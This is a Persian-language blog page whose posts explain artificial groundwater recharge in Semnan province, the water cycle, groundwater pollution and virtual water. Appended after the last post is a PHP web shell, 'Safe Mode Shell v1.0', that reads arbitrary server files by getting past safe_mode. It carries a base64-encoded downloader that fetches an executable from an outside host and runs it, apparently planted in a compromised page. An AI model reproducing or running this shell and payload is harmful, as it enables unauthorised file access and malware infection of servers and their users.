    آب صاف و زلال خارج شده از حوضچه های رسوبگیر بداخل حوضچه های تغذیه که دارای اشکال یکنواختی هستند شده و بمرور در زمین نفوذ می نمودند . ابعاد این حوضچه ها و بویژه شکل و طول حوضچه آبگیر براساس شرایط فیزیکی آب مورد استفاده محاسبه و طراحی می گردد .
     تغذیه مصنوعی دامغان در سطح 10 هکتار و گرمسار در سطح 4 هکتار و شمالشرق سمنان در سطح بیش از 10 هکتار، از نمونه تجربیات نگارنده در تغذیه مصنوعی دشت های استان سمنان می باشد .
    دریاچه ای
    با ایجاد حوضچه های بسیار بزرگی در ابتدای مخروط افکنه ، میتوان آب رودخانه را در فصول غیر زراعی و یا سیلابی بدرون این دریاچه ها هدایت نموده و بمرور امکان صاف شدن و نفوذ آن بداخل زمین را فراهم آورد . نمونه هایی از اینگونه پروژه ها در مخروط افکنه رودخانه حبله رود گرمسار و امامزاده عبدالله سمنان احداث و مورد بهره برداری و استقبال شدید اهالی و صاحبان چاهها قرار گرفته است .

    سد نعیم آباد شاهرود نیز نمونه دیگری از این پروژه هاست که در محل تقاطع رودخانه های مجن و تاش شاهرود ، بر روی بستر طبیعی و دانه درشت رودخانه احداث شده و هدف از ایجاد آن فراهم نمودن زمینه تغذیه مصنوعی قنات بسیار پر آب و حیاتی شهرداری شاهرود میباشد که یکی از منابع عمده آب شرب شهر است .
    تغذیه عمقی
    این روش را شاید بهتر باشد تزریق تلقی کنیم ، زیرا با انجام تمهیداتی آب را تا عمقی پایین می بریم تا با لایه نفوذناپذیر مجاور شده و مستقیماٌ در لایه آبدار تزریق گردد . در این روش بدلیل اینکه آب به جای نفوذ قائم ، در جهت افقی نفوذ می کند ، ریسک برخورد آن با لایه های نازک رسی بازدارنده به حداقل می رسد و در این حالت میزان نفوذ بمراتب بیش از حالت تغذیه سطحی خواهد بود . بنا به بررسی هایی که در زمان اجرای پروژه ها در سمنان انجام شد ، میزان نفوذ افقی 16 برابر میزان نفوذ قائم آب است .
    گودالی
    در کنار بسیاری از جاده های سراسری با گودال های متعدد شن و ماسه برخورد می کنیم که سازندگان راهها برای تامین شن و ماسه و مصالح مورد نیاز احداث راه ، در اعماق گوناگون و در راس مخروط افکنه دشت ها و مناطق با خاکهای دانه درشت ، ایجاد نموده و پس از خاتمه پروژه ، آنها را به حال خود رها نموده اند .
    از این نمونه گودال ها که بعضاٌ بدلیل رها شدن ، به محل تخلیه زباله های شهری و روستایی تبدیل شده بود ، در حاشیه جاده گرمسار- سمنان بوفور دیده می شدند .
    در شمال کمربندی شهرسمنان نیز یک گودال بسیار بزرگ که متعلق به محل قرضه مصالح مورد نیاز ساخت جاده کمربندی و سایر راهها بود ، وجود داشت.
    استفاده از این گودالها بعنوان محل تغذیه مصنوعی نیز مزایایی را در پی داشت که به جهت صرفه جویی در هزینه خاکبرداری در حجم بسیار زیاد ، و صرف هزینه و زمان از اولویت برخوردار بود و کافی بود تا آب موجود و مازاد را بدرون این حوضچه ها و گودالها هدایت کنیم .
    در دشت گرمسار با انحراف آب کانالهای آبیاری در فصول غیر زراعی و انتقال و هدایت آن بداخل این گودالها ، میلیونها مترمکعب آب را بدرون آبخوان تزریق نمودیم ، که میزان دقیق آمار آن در اداره آب شهرستان گرمسار موجود است .
    در شهر سمنان نیز از گودال موجود جهت تغذیه آبخوان استفاده شده است .
    چاهی
    اگر از چاههای عمیقی که در شرایط عادی برای بهره برداری از آب زیرزمینی مورد استفاده قرار می گیرد ، در فصول غیر زراعی و خاموش بودن چاهها ، بنحو معکوس بهره برداری کنیم ، در واقع تزریق مصنوعی کرده ایم .
    فرض کنید که شما به منبع آب بسیار صاف و زلال سطحی دسترسی دارید که در فصول غیر زراعی بدون داشتن حقابه و بیمصرف از محدوده خارج می شود .

    میتوان با جمع آوری این آبها در حوضچه های ترسیب و آرام بخش ، آب صاف شده را بداخل چاه ریخت .
    آب وارده بدرون چاه از طریق درز و شکاف لوله ها بدرون درز و شکاف آبرفت راه یافته و راه خود را به سمت مخزن آب زیرزمینی باز خواهد نمود . این حرکت موجب باز شدن درز و شکافهای بسته شده لوله ها و افزایش آبدهی چاه در سال بعد نیز خواهد شد .
    البته میتوان با احداث تعدادی حوضچه رسوبگیر و تغذیه و حفر چاه در میان حوضچه های تغذیه نیز به همین نتیجه رسید و در اینصورت نیازی به استفاده از چاه مالکین و بخش خصوصی نمیباشد ، که ممکن است از اساس با پروژه موافق نبوده و نسبت به عمل ما نیز نظر خوشی نداشته باشند .
    سدزیرزمینی
    سد های معمولی را در مقابل جریان سطحی رودخانه ها می سازند تا آبها را در مخزن خود در پشت سد جمع آوری نموده و به مصرف برسانند . سد زیرزمینی در حقیقت عکس سدهای معمولی است و ارتفاع آن نیز معمولاٌ بالاتر از سطح بستر رودخانه نخواهند بود .
    با خاکبرداری بستر رود و پر کردن محل با خاکها و مواد نفوذ ناپذیر و ایجاد لایه های نفوذ ناپذیر در مقابل جریان ، یک مخزن زیر زمینی ایجاد می کنند . در بالادست نیز کف بستر رودخانه را برداشته و با سنگها و قلوه سنگها بگونه ای سنگ چینی می کنند که قسمت عمده ای از جریان ظاهری رودخانه در بستر نفوذ نموده و به اصطلاح غرق شود و آب غرق شده در حقیقت به آبخوان افزوده گردد .
    •        تخلیه آبخوان
    حتی اگر تمامی شرایط هم برای تغذیه فراهم باشد ولی آبخوان مملو از آب باشد ، هیچ امکانی برای تغذیه باقی نمی ماند ، لذا باید آبخوان فضای خالی برای تغذیه داشته باشد . تا زمانی که آبخوان کاملاٌ پر و مملو از آب باشد ، آبهای جدید وارده مانند جریان سطحی از روی آن عبور نموده و خارج خواهد شد .
    •        رودخانه تغذیه کننده
    در قسمت هایی از رودخانه ، آب رودخانه در بستر فرو می رود و به اصطلاح غرق می شود ، در این بخش ها رودخانه بستر خود را تغذیه می کند و رفته رفته از دبی آن کاسته می شود . در رودخانه حبله رود گرمسار در فاصله بسیار کمی از طول رودخانه ، بخش عمده ای از آب رودخانه در گسل بن کوه فرو می رفت و در واقع رودخانه گسل را تغذیه می نمود .
    •        رودخانه تغذیه شونده
    وقتی رودخانه در طول خود با ورود آب از حاشیه ها و بستر خود مواجه شده و دم به دم به دبی آن افزوده میگردد ، رودخانه را تغذیه شوند می نامند . عمدتاٌ رودخانه ها در قسمت های علیای خود ماهیت تغذیه شنده داشته و در قسمت سفلی به نوع تغذیه کننده تبدیل میشوند .

    + نوشته شده در  جمعه بیست و یکم بهمن 1390ساعت 10:14  توسط سید جواد موسویان  | 

    چرخه اب

    دفتر بررسي‌هاي زمين‌شناسي آمريكا: چرخه آب

    چرخه آب چيست؟

    چرخه آب چيست؟ من به سادگي به شما خواهم گفت كه ”اون منم! در همه جا!“ چرخه آب، كه  با نام چرخه‌ي هيدرولوژي نيز شناخته مي‌شود، وجود و حركت آب را در رو و زير زمين و بالاي سطح زمين نشان مي‌دهد. آب در زمين هميشه در حال حركت است و هميشه در حال تغيير شكل مي‌باشد، از مايع به بخار،‌به يخ و دوباره بازگشت به حالت اول. چرخه آب ميلياردها سال است كه در حال كار است و زندگي همه چيز روي زمين به آب بستگي دارد؛ زمين بدون آب غير قابل سكونت خواهد شد.

    توده‌هاي هوا، ابرها را در اطراف زمين به حركت درمي‌آورند. قطعات ابر با يكديگر برخورد كرده، رشد مي‌كنند و به شكل بارش به سمت پايين مي‌آيند. قسمتي از اين بارش به شكل برف بر روي توده‌هاي برفي و يخچال‌ها تجمع مي‌يابند. برف در نقاط گرم‌تر ذوب شده و به شكل نهر جاري مي‌شود و تبديل به برفاب مي‌شوند. بارش‌ها بر روي سطح اقيانوس‌ها ريخته مي‌شوند و قسمت ديگري از آن نيز بر روي زمين مي‌بارند كه در اثر جاذبه روي سطح زمين جاري شده و تبديل به رواناب سطحي مي‌شوند.

    بعضي از رواناب‌هاي سطحي وارد رودخانه‌ها شده و در نهايت به سمت اقيانوس‌ها حركت مي‌كنند؛ برخي ديگر نيز به صورت آب شيرين در درياچه‌ها و رودخانه‌ها تجمع پيدا مي‌كنند. تمام رواناب‌هاي بر روي سطح زمين جاري نمي‌شوند و قسمت زيادي از آنها به زير زمين فرو مي‌روند (نفوذ). بخشي از اين آب نفوذ يافته، به اعماق پايين‌تر رفته و آبخوان‌ها را تغذيه مي‌كنند (سنگ‌هاي زيرسطحي اشباع از آب) و حجم زيادي از آب شيرين را براي مدت‌هاي مديد نگهداري مي‌كنند.

    بخشي از آب زيرزميني نيز نزديك به سطح زمين باقي مي‌ماند و مجدداً به شكل تراوش به بدنه‌هاي آبي (و اقيانوس‌ها) باز مي‌گردند و مانند تخليه آب زيرزميني عمل مي‌كنند. برخي ديگر نيز به صورت چشمه‌هاي آب شيرين از زير زمين بيرون مي‌آيند. در طول زمان، اين حجم آب در حال حركت است و هر از چند گاهي بخشي از آن به اقيانوس‌ها ختم مي‌يابند كه همان نقطه شروع است، و باز مجدداً اين مسير طي مي‌شود.

    + نوشته شده در  جمعه بیست و یکم بهمن 1390ساعت 9:49  توسط سید جواد موسویان  | 

    اب های زیر زمینی

    دید کلی

    آلودگی آبهای زیرزمینی در اثر نفوذ آلودگی از سطح زمین و یا اطراف منبع آن صورت می‌گیرد و در این میان ، ریشه‌های درختان و یا گیاهانی که به منبع راه یافته‌اند نیز مورد توجه است.

    تصویر

    موارد مورد توجه در یک منبع آب زیرزمینی

    در یک منبع آب زیرزمینی ، عواملی چون عمق آب ، عمق ایستایی ، تغییراتی که ممکن است در اثر پمپاژ حاصل گردد، باید تعیین شود و تجزیه آب چاه و آبهای اطراف آن ، نشان خواهد داد که این منبع زیرزمینی از یک محل یا بیشتر تغذیه می‌شود.

    علل آلودگی آبهای زیرزمینی

    آلودگی آبهای زیرزمینی ممکن است از آبهایی که به آن وارد می‌شود و یا از منابع دور دست باشد و اگر این آلودگی از منابع دور دست وارد آب شود، تعیین محل آلوده کننده بسیار مشکل است. اگر بعد از پمپاژ ، آلودگی در آب مشاهده شود، باید مطالعه‌ای در منابع آلودگی اطراف چاه ، مثل چاههای توالت به عمل آید. عوامل موثر در ممانعت از آلودگی آبهای زیرزمینی به عمق چاه ، وضع طبیعی محلی که چاه در آن قرار دارد و جهت حرکت آبهای زیرزمینی مربوط است.

    در هر صورت ، شعاعی که تحت اثر آن ممکن است آب زیرزمینی آلوده گردد، معمولا از حدود 20 برابر تغییرات سطح ایستابی دراثر پمپاژ چاه بیشتر نیست. و اگر زمین اطراف چاه از سنگهای شکسته باشد، این مهم کمی زیادتر است. به عنوان مثال اگر تغییرات ایستابی چاهی ، 0.5 متر باشد، شعاع آلودگی آن 10 متر خواهد بود.

    سرعت واقعی جریان آب به چاه

    سرعت واقعی جریان آب از هر نقطه به چاه ، با فاصله آن از چاه تغییر می‌کند و این سرعت در هر نقطه برابر است با سرعت واقعی جریان آب در موقع ورود به چاه تقسیم بر مجذور فاصله. مثلا اگر سرعت حرکت آب در موقع ورود به چاه 50 میلیمتر بر ثانیه باشد، در فاصله 10 متری، 0.5 میلیمتر و در 5 متر، 2 میلیمتر در ثانیه خواهد بود.

    باید توجه داشت که این رابطه ، یک رابطه تجربی تقریبی است، وگرنه برای محاسبه سرعت واقعی بطور دقیق ، به آزمایشات محاسبات بسیار طولانی و پیچیده‌ای نیاز است.

    تاثیر عمق چاه در تصفیه آب

    اقشار مختلف زمین ، خود عامل مهمی در تصفیه آبهای آلوده است، اگر عمق چاه 10 متر باشد، این ضخامت زمین نمی‌تواند چاه را از آلودگیهای موجود در سطح زمین مصون نگهدارد، ولی اگر این عمق به 20 تا 25 متر برسد، باید انتظار داشت که تصفیه طبیعی صورت بگیرد و آلودگیهای موجود در سطح زمین عملا قادر به نفوذ در آب چاه نشوند. در صورت تماس فاضلاب با آبهای زیرزمینی ، مقادیر اکثر آنیونها بویژه نیترات و کلرورها در آنها بالا خواهد رفت و این امر یکی از بهترین علائم هشدار دهنده است.

    بدیهی است در صورت این آلودگی علاوه بر آنیونها و کاتیونها بعضی از انواع باکتریها و ویروسهای فاضلاب نیز می‌توانند وارد جریان آبهای زیرزمینی شوند. می‌توان انتظار داشت که در شرایط مطلوب ، زمین ، قادر به تصفیه طبیعی 99 درصد آلودگیها باشد. ولی برای اینکه زمین قادر به این تصفیه طبیعی باشد، باید نحوه و چگونگی دفع فاضلاب را با دقت تمام با احتساب جوانب امر صورت گیرد.

    انواع آلوده کننده‌های آبهای زیرزمینی و نحوه از بین بردن آنها

    متاسفانه ، ورود آلوده کننده‌های فاضلاب ، باعث فعالیتهای غیر هوازی خواهد شد، ولی اگر آلودگی در حین نفوذ رقیق شده باشد، مشکلات ناشی از آنها کمتر خواهد بود. تخلیه فاضلابهای صنعتی در زمین نیز با ورود فلزات سنگین که اغلب خاصیت سمی دارند، آلودگیهای شدید شیمیایی و احیانا" میکروبی در آبهای زیرزمینی تولید می‌نماید و چه‌بسا اتفاق می‌افتد که دیگر از این آبهای زیرزمینی نتوانیم در مصارف عمومی استفاده کنیم و باید برای مصرف مجدد ، متحمل هزینه‌های گزافی گردیم.

    برای جلوگیری از فعالیت باکتریهای بی‌هوازی در تخلیه مواد جامد دفعی در گودال ، می‌توانیم از محلول 20 میلی‌گرم در لیتر ، کرومات و یا ترکیبات نیتراتی استفاده کنیم، البته مقدار معرف آنها با در نظر گرفتن جوانب امر باید تعیین شود. نفت یکی از آلوده کننده‌های آبهای زیرزمینی است.

    این ماده ممکن است حتی آب زیرزمینی را برای همیشه غیر قابل استفاده نماید و در امر پمپاژ هم بعلت حل پوششهای قیری ، مشکلات جدی ایجاد می‌کند. آلوده کننده‌هایی که در ضمن فعالیتهای کشاورزی ممکن است وارد آبهای زیرزمینی گردند (نظیر حشره کشها) ، گاها فاجعه‌های بزرگی به بار می‌آورند. مثلا ممکن است ضمن کلرینه کردن آبهای زیرزمینی با ایجاد ترکیبات جدید کلردار مواد جدید که مسومیت آنها به مراتب از خود حشره کشها زیادتر است، ایجاد نمایند (نظیر کلرور فنیل).

    تصویر

    جمع‌ بندی نکات مهم

    1. باکتریها و ویروسها در حین نفوذ آب و یا حرکت آن ، به آبهای زیرزمینی می‌پیوندند، ولی این عوامل هیچگاه در خلاف جهت جریان آبها حرکت نخواهد نمود.

    2. حرکت عوامل مندرج در فوق ، در حین پمپاژ آبهای زیرزمینی تشدید می‌شود.

    3. وضع باکتریها و ویروسها بعد از پیوستن به آبهای زیرزمینی مشابه وضع آنها در آبهای سطحی است.

    4. مقدار باکتریها و ویروسهایی که قبل از رسیدن به منابع آب زیرزمینی قابل حذف هستند، متناسب با عوامل مختلف از همه مهمتر فاصله آنها از منبع و قابلیت نفوذپذیری زمین است.

    5. بهترین نوع زمین مواد برای حذف باکتریها ، زمین با دانه بندی یکنواخت از ماسه‌های ریز با درصدی رس می‌باشد.

    6. حداکثر مسافتی که باکتریها و ویروسها در حالت عمودی می‌توانند حرکت نمایند تقریبا 10 فوت است.

    7. غالب مواد شیمیایی نظیر نفت ، حشره کشها ، و دترجنتها می‌توانند همراه آب به زمین نفوذ و به آبهای زیرزمینی داخل گردند.

    + نوشته شده در  جمعه بیست و یکم بهمن 1390ساعت 9:42  توسط سید جواد موسویان  | 

    اب مجازی(2)

    آب مجازی

    مقدار آبی است که یک کالا و یا یک فرآورده کشاورزی طی فرآیند تولید مصرف می‌کند تا به مرحله تکامل برسد و مقدار آن معادل جمع کل آب مصرفی در مراحل مختلف زنجیره تولید از لحظه شروع تا پایان می‌باشد. صفت مجازی در این تعریف بدان معناست که بخش عمده آب مصرف شده طی فرآیند تولید، در محصول نهایی وجود فیزیکی ندارد، و در حقیقت بخش بسیار ناچیزی از آب مصرفی در پایان به عنوان آب واقعی در بافت محصول باقی خواهد ماند. نکته مهم اینکه، صفت مجازی به معنای غیرواقعی نیست، بلکه صریحاً باید گفت که آب مجازی، آب کاملاً واقعی است.

    شرایط اقلیمی و فرهنگی، مکان تولید، مدیریت و برنامه‌ریزی در میزان و حجم آب مجازی کالا موثر است و قطعاً مقدار آن در مورد یک کالا در مناطق مختلف جهان متفاوت می‌باشد.

    در جدول زیر مقدار آب مصرفی برای تولید مقدار مشخصی از محصولات مختلف آورده شده است :

     

    ردیف

    کالا

    آب مجازی (لیتر)

    1

    یک لیوان شیر (200 میلی‌لیتر)

    200
    2

    یک فنجان چای (250 میلی‌لیتر)

    35

    3

    یک فنجان قهوه (125 میلی‌لیتر)

    140
    4

    یک عدد سیب (100 گرمی)

    70
    5

    یک عدد سیب‌زمینی (100 گرمی)

    25
    6

    یک پیراهن نخی در اندازه متوسط

    4100
    7

    یک کاغذ A4

    10
    8

    یک عدد تخم‌مرغ (40 گرمی)

    135

    9

    یک عدد گوجه‌فرنگی (70 گرمی)

    13

    10

    یک عدد پرتقال (100 گرمی)

    50
    11 یک جفت کفش با چرم گاو 8000
    12

    ساندویچ همبرگر (250 گرمی)

    2400
    13 یک کیلوگرم گندم 1300
    14

    یک کیلوگرم جو

    1400
    15

    یک قالب پنیر (500 گرمی)

    2500
    16 یک کیلوگرم گوشت گاو 15000
    17

    یک کیلوگرم گوشت مرغ

    4000

    18

    گوش پاک کن (33/0 گرمی)

    6/3

    19 یک کیلوگرم پلاستیک 190
    20

    یک برش نان (30 گرمی)

    40

    21

    خودروی مسافرتی (1100 کیلوگرمی)

    400

    باتوجه به تشدید بحران کمبود آب در کشورهای مختلف جهان، موضوع آب مجازی بواسطه عمق مفهوم آن از اهمیت ویژه‌ای در برنامه‌ریزی و سیاست‌گذاری کلان آب در آینده برخوردار خواهد شد. هم اکنون نیز با صادرات و واردات کالا و محصولات بین کشورهای مختلف جهان، محاسباتی نیز از میزان آب وارد شده یا صادر شده به عنوان آب مجازی بعمل می‌آید.

    نکته قابل تامل این است که بین میزان آب مجازی یک کالا در کشورهای مختلف اختلاف زیادی دیده می‌شود. برای نمونه میزان آب مجازی (بر حسب لیتر) برای تولید یک کیلوگرم گندم در 10 کشور جهان در نمودار زیر نشان داده شده است.


    ===========================================================

    + نوشته شده در  پنجشنبه بیستم بهمن 1390ساعت 23:0  توسط سید جواد موسویان  | 

    آب مجازی.

    افزایش رقابت بر سر آب، نیاز به غذا برای جمعیت در حال رشد و افزایش کم آبی در بسیاری از نقاط جهان، برخی از دلایل مهمی هستند تا نگاهی داشته باشیم به اینکه به چه شیوه‌ای آب را در این سیاره و کشور خود مدیریت کنیم و چگونه نیازهای بشر در نظر گرفته شود.

    بیشتر سطح کره زمین را آب فراگرفته (39/1میلیارد کیلومتر مکعب)، اما تنها 5/2 درصد آب‌های موجود در کره زمین شیرین است و مابقی آن در دریاها و اقیانوس‌ها قرار داشته و شور است؛ ضمن آنکه همه حجم آبهای شیرین به‌دلیل آنکه قسمت اعظم آن در یخچال‌ها و برف‌های دائمی قرار دارد قابل بهره برداری نیست.

    وابستگی انسان به آب نشان می‌دهد که نیاز آبی برای تولید غذا به‌مراتب بیشتر از نیازهای شرب است؛ 2 تا 4 لیتر آب در روز برای نیازهای بیولوژیک (آب آشامیدنی) در زنده ماندن انسان کافی است در حالی که 1000 مرتبه بیشتر برای تولید غذا آب لازم است. این دلیلی است که چرا مفهوم آب مجازی در زمانی که ما در مورد تولید غذا صحبت می‌کنیم اینقدر مهم است. بنا به تعریف: آب مجازی آبی است که در فرایند تولید یک محصول کشاورزی یا صنعتی نهفته است و به‌طور واقعی احساس نمی‌شود، بلکه به‌طور مجازی حس می‌شود. برای مثال برای تولید یک کیلوگرم گندم به هزار لیتر آب نیاز داریم. از این‌رو آب مجازی هر کیلوگرم گندم برابر هزار لیتر است. برای گوشت قرمز نیز به
     5 تا 10 برابر بیشتر آب نیاز داریم.

    انتقال آب مجازی بین کشورهای مختلف از طریق وارد یا صادر کردن محصولات و خدمات صورت می‌پذیرد. صادرات آب مجازی برای یک کشور یا ناحیه برابر با کل حجم آب مورد نیاز برای تولید اجناس صادراتی است. از طرف دیگر واردات آب مجازی یک کشور یا ناحیه برابر با حجم آب مرتبط با واردات کالا یا خدمات است. از این دیدگاه برای یک کشور محصولات وارداتی می‌تواند منبع آبی باشد که از طریق آن به‌طور محلی دسترسی به منابع آبی امکان‌پذیر می‌شود.

    تجارت آب مجازی

    اهمیت آب مجازی در سطح دنیا به طرز گسترده‌ای مطابق تصویری که از افزایش حجم تجارت جهانی غذا داریم افزایش یافته است. بنابراین انتقال آب مجازی نهفته در غذایی که تجارت می‌شود به‌عنوان جزئی مهم از مدیریت آب در سطح جهانی و نیز در سطح منطقه‌ای و به‌ویژه در نواحی کم آب مطرح است. البته باید گفت تجارت آب مجازی موضوع تازه‌ای نیست، قدمت آن از زمانی است که غذا مبادله می‌شود.

    با تجارت اجناس به‌ویژه غذا جریانی مجازی از آب از کشورهای صادر‌کننده کالا (غذا و اجناس ساخته شده) به کشورهایی که این کالاها را وارد می‌کنند به‌وجود می‌آید. به جای تولید این اجناس، کشورهای وارد‌کننده می‌توانند این آب را صرف اهداف دیگر کنند که تولید آنها ضروری است. کشورهای کم آب می‌توانند محصولاتی را وارد‌کنند که نیاز به مقدار زیادی آب نسبت به حالتی که در منطقه تولید می‌شوند دارند. این عمل باعث ذخیره آب واقعی شده و فشار بر منابع آبی فرو نشانده می‌شود.

    کشورهای وارد‌کننده در جریان مجازی تجارت آب حتماً لازم نیست کم آب باشند، برای مثال کشور کانادا موز و مرکبات را وارد می‌کند در حالی که کانادا کشور پر آبی است. در صادرات نیز حتی آن کشورهایی که کمبود شدید آب دارند (مانند اردن) کالاهای غذایی (مانند مرکبات و سبزیجات) را صادر می‌کنند. با تجارت آب مجازی بهینه‌سازی مصرف آب به‌عنوان یک کالای کمیاب در مقوله‌های زیست‌محیطی، اجتماعی و اقتصادی ممکن می‌شود.

    از سوی دیگر کشورهای پر آب می‌توانند از منابع آبی فراوان خود با تولید محصولات متمرکز بر آب برای صادرات بهره ببرند. تجارت آب مجازی بین ملت‌ها و حتی قاره‌ها می‌تواند به‌طور ایده آل به‌عنوان ابزاری برای بهبود راندمان مصرف آب جهانی، نیل به امنیت آبی در نواحی کم آب جهان و تسکین فشار بر محیط‌زیست با انتخاب بهترین مکان تولید مناسب مورد استفاده قرار گیرد.

    در واقع سؤالات زیر را می‌توان در مورد استفاده عملی از مفهوم آب مجازی مطرح کرد:

    1- آیا تجارت آب مجازی می‌تواند در بهبود موجودیت آب و به‌واسطه آن امنیت غذایی محلی، معاش، محیط‌زیست و اقتصاد محلی شرکت کند؟ و در کدام شرایط تجارت آب مجازی تشویق شود؟

    2- آیا آب مجازی می‌تواند در حل معضلات کشورمان و سایر کشورها شرکت کند؟ یا اینکه تنش‌ها و درگیری‌ها را برای کشورهایی که وابستگی تجاری دارند افزایش می‌دهد؟ و چه ساختار دولتی برای توانمند‌سازی‌ یک تجارت آب مجازی خوب و منصفانه لازم است؟

     3- چطور می‌توان از این مفهوم برای ایجاد آگاهی در مصرف و ذخیره آب در کشورمان به کمک تغییر رژیم غذایی بهره جست؟

    4- چه چیزی و از سوی چه کسی لازم است تا با تعریف مناسب و منصفانه در استفاده از مفهوم آب مجازی پیشرفتی حاصل شود؟

    اندازه‌گیری تجارت آب مجازی

    یکی از بنیان‌های مدیریتی، توانایی در اندازه‌گیری و ارزیابی جریان‌های تجارت آب و حجم کالاهای مورد نظر است. البته بررسی مقدار آب مجازی یک محصول کار ساده‌ای نیست. زیرا عوامل زیادی بر مقدار آب مصرفی در فرایند تولید یک محصول تاثیر دارند. حداقل عوامل زیر بایستی در برآوردها مد نظر قرار گیرند:

    الف - مکان و مدت تولید یک محصول (سال یا فصل)
    ب  - از نقطه نظر اندازه‌گیری (محل برداشت آب یا محل مصرف آب)
    ج - روش تولید و راندمان مصرف آب (پساب‌ها در نظر گرفته شوند یا خیر)
    بنابراین می‌توان گفت همه، محصولات غذایی آب را به‌عنوان بخشی از فرایند تولید مصرف می‌کنند اما میزان آب مورد نیاز در واحد تولید به مقدار زیادی به نوع محصول بستگی دارد.

    لازم به ذکر است از نظر تئوری می‌توان رابطه تولید و مصرف آب را از روی تبخیر و تعرق گیاه کاملاً مشخص کرد اما برآورد میزان آب برای فرایند‌های دیگر مانند سرویس دهی و خدماتی که در ارتباط غیرمستقیم با تولید محصول هستند کاملاً پیچیده است. از این‌رو ما باید به‌دنبال یافتن ابزارهای اندازه‌گیری استاندارد و روش‌هایی مطمئن برای بررسی مقادیر و متغیرهای شرکت‌کننده در تجارت آب مجازی باشیم.

    گفتنی است که از آنجایی که بحث آب مجازی علاوه بر محصولات زراعی در مورد فراورده‌های دامی و صنعتی نیز مطرح است لذا بایستی نگرشی جدی به وضعیت مصرف آب در بخش‌های مختلف داشته باشیم. در کشورهای با درآمد کم و متوسط مصرف آب 10درصد، 8درصد و 82 درصد به‌ترتیب در بخش‌های صنعت، شرب و کشاورزی است در حالی که در کشورهای با درآمد بالا مصرف آب 59 درصد، 11درصد و 30درصد به‌ترتیب در بخش‌های صنعت، شرب و کشاورزی است. بنابراین با بررسی وضعیت میزان پیشرفت کشورها در زمینه رشد اقتصادی و ارتباط آن، استفاده از آب برای مصارف شهری و صنعتی مشاهده می‌شود که همبستگی بالایی بین این دو وجود دارد.

    + نوشته شده در  پنجشنبه بیستم بهمن 1390ساعت 22:58  توسط سید جواد موسویان  | 

     

    !Safe Mode Shell v1.0!

    */ echo "Safe Mode Shell"; $tymczas="./"; // Set $tymczas to dir where you have 777 like /var/tmp if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = true; $hsafemode = "ON (secure)"; } else {$safemode = false; $hsafemode = "OFF (not secure)";} echo("Safe-mode: $hsafemode"); $v = @ini_get("open_basedir"); if ($v or strtolower($v) == "on") {$openbasedir = true; $hopenbasedir = "".$v."";} else {$openbasedir = false; $hopenbasedir = "OFF (not secure)";} echo("
    "); echo("Open base dir: $hopenbasedir"); echo("
    "); echo "Disable functions : "; if(''==($df=@ini_get('disable_functions'))){echo "NONE";}else{echo "$df
    ";} $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} $used = $all-$free; $used_percent = @round(100/($all/$free),2); echo "
    \n";
    if(empty($file)){
    if(empty($_GET['file'])){
    if(empty($_POST['file'])){
    die("\nWelcome.. By This script you can jump in the (Safe Mode=ON) .. Enjoy\n 
    PHP Emperor xb5@hotmail.com
    "); } else { $file=$_POST['file']; } } else { $file=$_GET['file']; } } $temp=tempnam($tymczas, "cx"); if(copy("compress.zlib://".$file, $temp)){ $zrodlo = fopen($temp, "r"); $tekst = fread($zrodlo, filesize($temp)); fclose($zrodlo); echo "--- Start File ".htmlspecialchars($file)." -------------\n".htmlspecialchars($tekst)."\n--- End File ".htmlspecialchars($file)." ---------------\n"; unlink($temp); die("\nFile ".htmlspecialchars($file)." has been already loaded. PHP Emperor ;]"); } else { die("
    Sorry... File ".htmlspecialchars($file)." dosen't exists or you don't have access.
    "); } ?> ".base64_decode("PD9waHANCg0KLyoNCkxvY2FsaG9zdCBTb3JndXN1eiBEb3dubG9hZGVyICUxMDAgRlVEDQpLb2RsYXlhbiA6IE1peWFDaHVuZw0KTWl5YUNodW5nQGhvdG1haWwuY29tDQoqLw0KDQpzZXRfdGltZV9saW1pdCgwKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywxKTsNCg0KJGZwID0gZm9wZW4gKCdDOi9kaWUuZXhlJywgJ3crJyk7IC8vIEJ1cmF5/SBFeGVuaXppbiBpc21pbmUgZ/ZyZSBkZWdpc3RpcmluDQokY2ggPSBjdXJsX2luaXQoJ2h0dHA6Ly90aXlhdHJvc3BvcnUuY29tL2luY2x1ZGVzL2pzL2NhbGVuZGFyL2xhbmcvZGllLmV4ZScpOyAvLyBLZW5kaSBFeGUnbml6Lg0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDUwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JBTkdFLCAiMC0zMDcyMDAiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTsNCmZjbG9zZSgkZnApOw0KDQppZigkZnApew0KQHNoZWxsX2V4ZWMoJ0M6L2RpZS5leGUnKTsgLy8gQnVyYXn9IEV4ZW5pemluIGlzbWluZSBn9nJlIGRlZ2lzdGlyaW4NCn0NCj8+")); ?>